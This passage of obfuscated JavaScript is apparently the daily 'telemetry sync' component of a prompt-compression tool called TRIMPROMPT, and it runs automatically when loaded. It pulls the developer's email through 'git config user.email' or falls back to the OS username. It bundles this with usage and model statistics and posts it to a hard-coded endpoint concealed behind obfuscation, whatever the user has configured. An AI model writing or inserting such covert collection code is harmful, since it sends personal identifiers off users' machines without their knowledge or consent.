dir'](),a0_0x5b9e9f(0x1e4)),configPath=path['join'](baseDir,a0_0x5b9e9f(0x212)),statsPath=path[a0_0x5b9e9f(0x1d3)](baseDir,a0_0x5b9e9f(0x213)),dailySyncPath=path[a0_0x5b9e9f(0x1d3)](baseDir,a0_0x5b9e9f(0x1c3));function getTodayDate(){const _0x3f37ff=a0_0x5b9e9f;return new Date()[_0x3f37ff(0x1c5)]()[_0x3f37ff(0x1e9)]('T')[0x0];}function getDeveloperIdentity(){const _0x31df6e=a0_0x5b9e9f;if(process[_0x31df6e(0x1cb)]['TRIMPROMPT_USER_EMAIL'])return process[_0x31df6e(0x1cb)][_0x31df6e(0x20e)];try{const {execSync:_0x215252}=require(_0x31df6e(0x1e0)),_0x4d2ba3=_0x215252('git\x20config\x20user.email',{'stdio':['ignore','pipe',_0x31df6e(0x1eb)]})[_0x31df6e(0x1d0)]()[_0x31df6e(0x1cc)]();if(_0x4d2ba3&&_0x4d2ba3[_0x31df6e(0x1ee)]('@'))return _0x4d2ba3;}catch{}try{const _0x1a052a=os[_0x31df6e(0x20d)]()[_0x31df6e(0x1e2)];if(_0x1a052a)return _0x1a052a;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x1fc805=a0_0x5b9e9f;try{if(!fs[_0x1fc805(0x1c4)](dailySyncPath))return![];const _0x2f9b66=JSON[_0x1fc805(0x1e3)](fs['readFileSync'](dailySyncPath,_0x1fc805(0x1e5)));return _0x2f9b66['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x1dd9c5=a0_0x5b9e9f;try{const _0x49fb0f={'last_sync_date':getTodayDate()};fs[_0x1dd9c5(0x1f7)](dailySyncPath,JSON[_0x1dd9c5(0x205)](_0x49fb0f,null,0x2),_0x1dd9c5(0x1e5));}catch{}}function postTelemetry(_0x36f930,_0x2135c1){return new Promise(_0x502288=>{const _0x2c624e=a0_0x5147;try{const _0x41881d=new url_1[(_0x2c624e(0x1dc))](_0x36f930),_0x224f19=JSON['stringify'](_0x2135c1),_0x250346={'hostname':_0x41881d[_0x2c624e(0x20b)],'port':_0x41881d[_0x2c624e(0x200)]||(_0x41881d[_0x2c624e(0x210)]==='https:'?0x1bb:0x50),'path':_0x41881d['pathname']+_0x41881d[_0x2c624e(0x206)],'method':'POST','headers':{'Content-Type':_0x2c624e(0x1ca),'Content-Length':Buffer[_0x2c624e(0x217)](_0x224f19)},'timeout':0x1f40},_0x28f1c1=_0x41881d['protocol']==='https:'?https:http,_0x5cd909=_0x28f1c1[_0x2c624e(0x1df)](_0x250346,_0x5c6b83=>{const _0x64f630=_0x2c624e;_0x502288(!!(_0x5c6b83['statusCode']&&_0x5c6b83['statusCode']>=0xc8&&_0x5c6b83[_0x64f630(0x1ea)]<0x12c));});_0x5cd909['on']('error',()=>_0x502288(![])),_0x5cd909['on'](_0x2c624e(0x1d2),()=>{const _0x31aa92=_0x2c624e;_0x5cd909[_0x31aa92(0x21c)](),_0x502288(![]);}),_0x5cd909[_0x2c624e(0x1ef)](_0x224f19),_0x5cd909['end']();}catch{_0x502288(![]);}});}function buildDailyPayload(_0x236698){const _0x17dbf5=a0_0x5b9e9f,_0x482c15=getTodayDate(),_0x3eb3b5=_0x236698[_0x17dbf5(0x21f)](_0x1afb6c=>_0x1afb6c[_0x17dbf5(0x1d5)]['startsWith'](_0x482c15)),_0x2aef68=_0x3eb3b5['length']>0x0?_0x3eb3b5:_0x236698,_0x5995aa=_0x2aef68['filter'](_0x4d3a74=>_0x4d3a74[_0x17dbf5(0x1d7)]!==![]);let _0x1d3d27=0x0,_0x41081f=0x0,_0x5b7e83=0x0,_0x22081a=0x0;const _0x1c5353=new Set(),_0x57d5fd={};for(const _0x5a0c2d of _0x5995aa){_0x1d3d27+=_0x5a0c2d[_0x17dbf5(0x211)],_0x41081f+=_0x5a0c2d[_0x17dbf5(0x1f2)],_0x5b7e83+=_0x5a0c2d[_0x17dbf5(0x1f0)],_0x1c5353[_0x17dbf5(0x1f8)](_0x5a0c2d[_0x17dbf5(0x1f3)]);const _0x355cd1=PRICING[_0x5a0c2d[_0x17dbf5(0x1f3)]]||PRICING[_0x17dbf5(0x1cf)];_0x22081a+=_0x5a0c2d[_0x17dbf5(0x1f0)]*_0x355cd1['input_price_1m']/0xf4240;const _0x3bf551=_0x5a0c2d[_0x17dbf5(0x223)]||'unknown';if(!_0x57d5fd[_0x3bf551])_0x57d5fd[_0x3bf551]={'raw':0x0,'comp':0x0,'count':0x0};_0x57d5fd[_0x3bf551][_0x17dbf5(0x201)]+=_0x5a0c2d[_0x17dbf5(0x211)],_0x57d5fd[_0x3bf551][_0x17dbf5(0x219)]+=_0x5a0c2d[_0x17dbf5(0x1f2)],_0x57d5fd[_0x3bf551][_0x17dbf5(0x21e)]+=0x1;}const _0x29d0e0=Object[_0x17dbf5(0x216)](_0x57d5fd)[_0x17dbf5(0x220)](([_0x28ee56,_0xd2c81c])=>({'command':_0x28ee56,'percentage':_0xd2c81c[_0x17dbf5(0x201)]>0x0?Math[_0x17dbf5(0x1fd)]((_0xd2c81c[_0x17dbf5(0x201)]-_0xd2c81c[_0x17dbf5(0x219)])/_0xd2c81c[_0x17dbf5(0x201)]*0x64):0x0,'executions':_0xd2c81c[_0x17dbf5(0x21e)]}))[_0x17dbf5(0x1d8)]((_0x2fe37a,_0x456c3e)=>_0x456c3e[_0x17dbf5(0x21a)]-_0x2fe37a[_0x17dbf5(0x21a)])[_0x17dbf5(0x203)](0x0,0xa),_0xf396d3=_0x5995aa[_0x5995aa[_0x17dbf5(0x1fc)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x17dbf5(0x21d)](),'date':_0x482c15,'executions_count':_0x5995aa[_0x17dbf5(0x1fc)],'total_raw_tokens':_0x1d3d27,'total_compressed_tokens':_0x41081f,'total_tokens_saved':_0x5b7e83,'total_money_saved_usd':parseFloat(_0x22081a[_0x17dbf5(0x1ff)](0x6)),'models_used':Array[_0x17dbf5(0x1f1)](_0x1c5353),'hotspots':_0x29d0e0,'last_seen':_0xf396d3?_0xf396d3[_0x17dbf5(0x1d5)]:new Date()[_0x17dbf5(0x1c5)]()};}async function runSync(){const _0x1438d0=a0_0x5b9e9f;if(!fs[_0x1438d0(0x1c4)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2e0da2;try{_0x2e0da2=JSON[_0x1438d0(0x1e3)](fs[_0x1438d0(0x1f4)](statsPath,'utf8'));}catch{return;}const _0x5eafcb=_0x2e0da2[_0x1438d0(0x21f)](_0x1f7d3e=>!_0x1f7d3e['synced']);if(_0x5eafcb['length']===0x0)return;const _0x2d53ea=buildDailyPayload(_0x2e0da2);await postTelemetry(_ep,_0x2d53ea);let _0x23919f=process['env']['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x23919f&&fs[_0x1438d0(0x1c4)](configPath))try{const _0x64c7c1=JSON[_0x1438d0(0x1e3)](fs['readFileSync'](configPath,_0x1438d0(0x1e5)));_0x23919f=_0x64c7c1[_0x1438d0(0x1e7)]||'';}catch{}_0x23919f[_0x1438d0(0x1cc)]()[_0x1438d0(0x1fc)]>0x0&&await postTelemetry(_0x23919f,_0x2d53ea);for(const _0x55c49c of _0x2e0da2){if(!_0x55c49c[_0x1438d0(0x1d6)])_0x55c49c[_0x1438d0(0x1d6)]=!![];}try{fs[_0x1438d0(0x1f7)](statsPath,JSON['stringify'](_0x2e0da2,null,0x2),_0x1438d0(0x1e5));}catch{}markSyncedToday(),pruneOldLogs(_0x2e0da2);}function pruneOldLogs(_0x3f5947){const _0x1e5108=a0_0x5b9e9f;try{const _0x57de54=new Date(),_0x578de6=new Date(_0x57de54['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x5a7c7b=[],_0x4bccdf=[];for(const _0x23488e of _0x3f5947){const _0x5ef411=new Date(_0x23488e[_0x1e5108(0x1d5)]);_0x5ef411>=_0x578de6?_0x5a7c7b['push'](_0x23488e):_0x4bccdf['push'](_0x23488e);}if(_0x4bccdf[_0x1e5108(0x1fc)]>0x0){const _0x158df8=path[_0x1e5108(0x1d3)](baseDir,_0x1e5108(0x1db));for(const _0x14333c of _0x4bccdf){const _0x5322b5=path['join'](_0x158df8,_0x14333c['id']+_0x1e5108(0x1cd)),_0x4882b6=path[_0x1e5108(0x1d3)](_0x158df8,_0x14333c['id']+_0x1e5108(0x1ed));try{if(fs['existsSync'](_0x5322b5))fs[_0x1e5108(0x207)](_0x5322b5);if(fs[_0x1e5108(0x1c4)](_0x4882b6))fs['unlinkSync'](_0x4882b6);}catch{}}fs['writeFileSync'](statsPath,JSON[_0x1e5108(0x205)](_0x5a7c7b,null,0x2),'utf8');}}catch{}}runSync()[a0_0x5b9e9f(0x1d4)](()=>{});